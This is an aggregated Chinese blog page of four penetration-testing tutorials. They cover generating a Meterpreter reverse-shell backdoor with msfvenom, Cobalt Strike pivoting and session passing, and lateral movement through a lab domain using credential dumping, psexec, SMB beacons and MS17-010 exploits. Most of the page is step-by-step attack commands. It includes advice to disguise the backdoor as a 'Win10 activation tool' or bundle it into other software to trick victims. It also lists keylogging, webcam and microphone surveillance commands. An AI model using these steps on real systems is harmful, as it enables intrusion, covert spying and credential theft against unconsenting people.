内容导读：导航目录:1、metasploit渗透测试魔鬼训练营里使用xss注入时xp系统没反应使用其他虚拟机可以成功。2、Kali利用msf渗透Windows电脑（超详细）3、cobaltstrike使用跳板进行内网渗透4、内网...……
导航目录:
- 1、metasploit渗透测试魔鬼训练营里使用xss注入时xp系统没反应使用其他虚拟机可以成功。
- 2、Kali利用msf渗透Windows电脑（超详细）
- 3、cobalt strike使用跳板进行内网渗透
- 4、内网渗透--对不出网目标的打法
metasploit渗透测试魔鬼训练营里使用xss注入时xp系统没反应使用其他虚拟机可以成功。
是什麼意思？是你拿本地msf测试注入你的虚拟机才可以的，但你说的XP系统没反应是你虚拟机上的系统还是你本地的系统？通常测试都是拿虚拟机的系统作为测速，用於测试看看可以通过一些漏洞进去，你本地的系统如果是XP的话，现在的MSF都是64位的，你电脑是多少位？或许有一些漏洞，如果是在虚拟机注入本地XP系统的话，需要看你的虚拟机裏面装的是什麼系统。
exploits模块和payloads模块综合利用。
举个例子
比如Exploitwindows/ *** b/ms08_067_metapi
payload:windows/shell/bind_up
target:windows xp
Kali利用msf渗透Windows电脑（超详细）
前言
最近整理了一些 奇安信华为深信服大佬 的课件资料+大厂面试课题，想要的可以私信自取， 无偿赠送 给粉丝朋友~
msfvenom a Metasploit standalone payload generator，Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合，将这两个工具都放在一个Framework实例中。自2015年6月8日起，msfvenom替换了msfpayload和msfencode。
演示环境
使用Kali 2021.3进行演示操作
目标靶机： Win10专业版
软件：msfvenom、msfconsole（Kali系统内置）
1.进入管理员模式
命令： sudo su
解释： 不在管理员模式下运行可能会有权限不够的提示，为了避免命令执行失败，在管理员下运行以下命令
命令： msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=本地端口号 –f exe –o 文件名.exe
解释： 本地ip写自己Kali的IP地址，用ifconfig就能查看自己Kali的IP地址
本地端口自己随便设置一个没有被占用的端口号，如果端口号被占用那么文件会生成失败，换一个端口号就性
文件名可以随便写自己喜欢的名字，比如写Win10激活工具，可能更容易让目标主机上钩
当然MSF也可以用来渗透手机、mac、Linux等
接下来运行命令生成文件
默认生成的文件在根目录下
把刚才生成的文件放到目标靶机Win10系统中
命令： msfconsole
(1)命令： use exploit/multi/handler（选择模块）
(2)命令： set payload windows/meterpreter/reverse_tcp（选择攻击模块）
(3)命令： set LhOST 192.168.32.1（填写自己主机的IP地址）
(4)命令： set lport 1111（填写刚才生成文件时的端口号）
(5)命令： show options（查看设置参数）
(6)命令： exploit -z -j（后台执行）
我们这里也可以把这个程序伪装一下，把他的图标改一下，或者把它捆绑在某些软件上面，当用户打开就自动安装到对方电脑上面
(1)命令： sessions （查看上钩的用户）
(2)命令： sessions -i 1 （选择需要攻击的用户，这里选择第 1 个
命令： run vnc -i
cmd指令:
cat 读取文件内容到屏幕
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件（ls 的别名）
下载 下载文件或目录
编辑 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 创建目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
pkill 按名称终止进程
keyscan_start 开始捕获击键（开始键盘记录）
keyscan_dump 转储按键缓冲（下载键盘记录）
keyscan_stop 停止捕获击键（停止键盘记录）
record_mic X秒从默认的麦克风record_mic音频记录（音频录制）
webcam_chat 开始视频聊天（视频，对方会有弹窗）
webcam_list 单摄像头（查看摄像头列表）
webcam_snap 采取快照从指定的摄像头（摄像头拍摄一张照片）
webcam_stream 播放视频流从指定的摄像头（开启摄像头监控）
enumdesktops 列出所有可访问的桌面和窗口站（窗体列表）
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出 *** 摄像头
webcam_snap 从指定的 *** 摄像头拍摄快照
webcam_stream 播放来自指定 *** 摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本
————————————————
原文链接：
cobalt strike使用跳板进行内网渗透
Pivoting ，在本手册中，指的是「将一个受害机器转为其他攻击和工具的跳板」。Cobalt Strike 的Beacon 提供了多种 pivoting 选项。前提是 Beacon 处于交互模式。交互模式意味着一个 Beacon 每 秒内多次连接到团队服务器。使用 sleep 0 命令来使你的 Beacon 进入交互模式。
通过 [beacon] → Pivoting → SOCKS Server 来在你的团队服务器上设置一个 SOCKS4a *** 服务 器。或者使用 socks 8080 命令来在端口 8080 上设置一个 SOCKS4a *** 服务器(或者任何其他你想 选择的端口)。
所有经过这些 SOCKS 服务器的连接都将被转变为让相关联 Beacon 执行的连接、读写和关闭任务。你 可以通过任何类型的 Beacon 经由 SOCKS 隧道传输(甚至是一个 *** B Beacon)。
Beacon 的 HTTP 数据通道是响应速度最快的 pivoting *** 。如果你想通过 DNS 中继流量，使用DNS TXT 记录的通信模式。
要查看当前已经配置的 SOCKS 服务器，通过 View → Proxy Pivots 。 使用 socks stop 命令来停用 SOCKS *** 服务器。
proxychains 工具将强制外部程序使用你指定的 SOCKS *** 服务器。你可以使用 proxychains 强制第 三方工具经过 Cobalt Strike 的 SOCKS 服务器。要了解有关 proxychains 的更多信息，请访问:
安装proxychains，配置文件修改如下
pre class="814a-79c6-1ff6-3de9 cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 8973/pre
过执行 *** 工具 proxychains，对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示：
pre class="79c6-1ff6-3de9-dad4 cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);" proxychains nmap -sT -Pn 192.168.237.129/pre
然后可以通过 *** 使用其他的安全工具进行下一步的渗透，如果说有些工具是不支持 *** ip的，那么还有 ***
Proxifier：
当使用没有 *** 功能的工具对目标内网进行渗透时，可以使用Proxifier工具能够将程序通过socks *** 对内网进行渗透。详细的使用过程如下所示：
打开Proxifier软件，单击Profile-Proxy Server-add 添加本地主机的 *** 端口。协议选择socks5类型，可以点击check进行测试当前 *** 是否成功。
这样的配置会让当前所有软件走全局的 *** 。可以让一些不支持 *** 功能的软件走 *** 。
首先，用cs新建一个外部的监听：我这里选用外部http链接。
开启msf，使用exploit/multi/handler模块，设置payload为windows/meterpreter/reverse_http，然后show options 查看需要设置的参数。
注意：payload必须是和cs上设置的监听模块一致。
然后在cs的beacon控制台中直接输入
pre class="1ff6-3de9-dad4-6790 cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"spawn msf/pre
过了几秒，msf中就会得到会话
这部分是在msf获取到会话之后，把会话上传到CS上。
首先在CS上新建一个内部监听。
然后在msf中进行配置
首先在msf上面查看要上传·会话的id：（我这里是2）
使用这个exp：exploit/windows/local/payload_inject
设置好参数之后，检查参数时候设置完全和正确。
exploit执行
cs上就会上线了
这两天出文章的速度慢了，是因为我一直在持续的开发和优化知识库，现在知识库上线新的功能GitHub索引，地址是： ，不过现在只能是pc端访问，移动端访问样式会乱掉，因为我前端技术实在是渣渣
首页整理了github上最新流行的趋势。下图是中文趋势
下图是全网趋势
内网渗透--对不出网目标的打法
配置 ***
在VM虚拟机中按照下边的 *** 拓扑进行配置 *** 。 *** 拓扑图如下：
win7具有双网卡，其中外网ip是192.168.8.133，内网网段是52。三台机器彼此互通，但是win server 2008和win2003不通外网。用我mac作为攻击机，来对这个靶场环境进行渗透测试。
外网打点
在win7这台靶机上，使用PHPStudy让网站可以运行起来。在攻击机上，访问 可以看到是一个phpStudy 探针。对这网站进行渗透，因为本文主要写在内网渗透过程中对不出网主机的渗透，所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种 *** ：
通过phpmyadmin弱口令，进入phpmyadmin后台。然后知识点就变成了，通过phpmyadmin进行getshell，这个点又分为，得到网站绝对路径后，使用select into outfile的方式写shell和利用日志写shell。在此处，我是使用日志写shell的 *** 拿到权限。因为secure_file_priv配置为null，禁止修改目录下的文件，也就不能使用into outfile的方式写入shell。
通过目录扫描可以扫出beifen.rar，备份文件。在源码中可以找到登陆后台的账号密码：admin/123456和登陆路径/index.php?r=admin，在前台模板文件中添加一句话木马连接也可获取shell。
获得webshell的信息收集
通过外网打点获得的webshell，可以进行一波信息收集，摸清我是谁？我在哪？有没有内网环境？有没有杀软？通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
我是谁？
蚁剑已经给出基础信息
我在哪？
使用ipconfig /all 看一下 *** 信息
目标有两个网卡，并且存在域环境，那么就有打它内网的必要了。
有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软，还有域环境那么让它直接cs上线。
内网渗透
cs上线
内网信息收集
信息收集每个人都有自己的习惯，信息收集的顺序和信息收集的项目也都不太一样，只要根据自己的习惯和嗅觉，针对目标具体情况进行收集，以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多，考虑到篇幅和文章内容匹配度等因素，此处并没有写出大量信息收集 *** 。
使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描，分别对8和52两个网段进行扫描进行完这两个步骤以后，cs会把扫到的目标列出来。
因为拿到的是管理员权限，可以先抓一波密码。用 cs 的 hashdump 读内存密码，用 mimikatz 读注册表密码：logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码，我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后，目标主机没有开启防火墙，可以使用cs自带的psexec做一波横向，因为抓到很多域中机器密码，域控密码也抓到了。
内网横向（通过登录凭证）
这个靶机设置的比较简单，抓到密码后，因为抓到了域控登陆的凭证，那么使用psexec即可横向内网所有机器。因为，另外两台内网的机器不出网，那么就到了本文着重练习的点了，打不出网的机器。
不出网机器上线一般有以下几种方式：
使用 *** b beacon
配置listener通过HTTP *** 上线
使用pystinger搭建socks4 ***
这几种方式之前有师傅也在先知写过 《不出网主机上线 *** 》 。此处我采用的 *** B beacon这个 *** 。
*** B Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在 *** B协议中，所以 *** B beacon相对隐蔽。 *** B beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon，抓取密码后进行 *** b喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用Smb beacon使目标主机上线
使用条件
具有 *** B Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用 *** ：
1.建立 *** b的listener
2.在cs中使用psexec进行横向移动，选择现有的beacon作为跳板，这里凭据必须是administrator ，即拥有目标主机管理员权限
3.连接成功，可以看到 *** b beacon上线的主机右侧有∞∞标识
使用这种 *** 上线的机器，主要是通过出网机作为一个中间人，不出网主机成功上线后，如果出网机一断开，这个不出网主机也会断。
内网横向（通过ms-17010）
在拿下win7的时候，可以给它传一个fscan，给win7做一个内网大保健。上传fscan后，运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法：
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法，我在这个环境中都做过尝试。过程就不一一叙述了，直接说我测试的结果。msf是最稳定的，但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳，并且在这种不出网 *** 不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来，因为我在测试过程中，网断过几次，ip就变了。所以，在打的时候，如果ladon和分离出的exe没有打成，不要轻易放弃，用msf在打打试试，毕竟工具就是工具，不能过分依赖某个工具。
在这种不出网的情况下，可以优先考虑使用从msf分离出的exe和ladon_ms17010来打，打成功会直接通过自定义的dll新建一个用户并加入管理员组，开启3389端口。根据实际情况，可考虑在合适的时间段和条件下直接远程登入，翻一下敏感数据，往往会因为运维人员的很多“好习惯”而给渗透带来很多便利，比如说“密码本.txt”。
msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先，让出网机器先在msf上线，可以用cs直接传递会话，或者生成个msf马直接运行一下。在这的 *** 就很多了。win7在msf上线后，因为我们已经提前知道了，存在52这个不出网的段，那么就需要在msf中添加路由。
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
把shell切换到后台，然后使用ms17010模块进行漏洞利用，监听时使用正向监听，即可
小贴士：
漏洞检测 *** ：
use auxiliary/scanner/ *** b/ *** b_ms17_010
之后设置一下目标ip和线程即可，这里因为已经扫出存在漏洞的机器了，也就不在叙述。
漏洞利用常使用的是：
auxiliary/admin/ *** b/ms17_010_command
exploit/windows/ *** b/ms17_010_eternalblue
exploit/windows/ *** b/ms17_010_psexec
这里的之一个和第三个模块需要目标开启命名管道，并且比较稳定。第二个模块只要存在漏洞即可，但是会有概率把目标打蓝屏，而且杀软拦截也会比较严格，如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候，不妨使用auxiliary/admin/ *** b/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/ *** b/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun
如果命令执行成功的话就可以优先考虑
auxiliary/admin/ *** b/ms17_010_commandexploit/windows/ *** b/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/ *** b/ms17_010_eternalblue来打了，期间为了测试打过多次，确实出现了把目标机器打重启的情况。
总结
这个靶场设计的技能点比较基础，外网打点获得shell后，直接可以通过cs上线，在管理员权限下，抓取密码，新建一个 *** b beacon然后使用psexec对内网两台不出网的机器进行横向。